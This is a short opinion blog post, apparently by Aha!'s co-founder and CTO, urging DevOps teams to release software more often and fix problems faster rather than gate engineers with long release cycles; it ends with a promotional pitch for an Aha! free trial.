Do customers believe that your software will always be perfect? No. But do they expect you to pay attention to them and fix a problem quickly? You bet. So, if longer release cycles do not increase the quality of software (and actually increase the likelihood of problems) and customers understand that gremlins do happen, the goal should be to release more often and fix problems faster. When a problem does occur, the customer will be intent on helping you fix it, but the longer you go between releases to fix it, the less the customer will remember or be able to verify that it is resolved.

So, how should DevOps proceed in a world of software uncertainty?

Operations teams should stop trying to be the corporate TSA by “gating” engineers and product teams to a standstill. The goal of eliminating problems should be replaced with taking reasonable risks.

Rather than instilling fear and forcing costly efforts to plan for every contingency and ways to “back out,” they should look ahead just like the rest of the organization. Engineers want to deliver great code and delight customers and will go out of their way to take responsibility for issues if they have been empowered to fix them. At the end of the day, a business needs to keep moving forward and too many DevOps groups today are looking towards the past and disabling groups from building what matters.

If you are looking to create brilliant product strategy and roadmaps to release often with confidence, Aha! is for you. Sign up for a free trial to see why the top software and web companies are now using Aha! for product management and roadmapping.

I am the co-founder and CTO of Aha! and have worked with some terrific DevOps folks over the years. Special shout-outs to Ted and Bill for getting it right.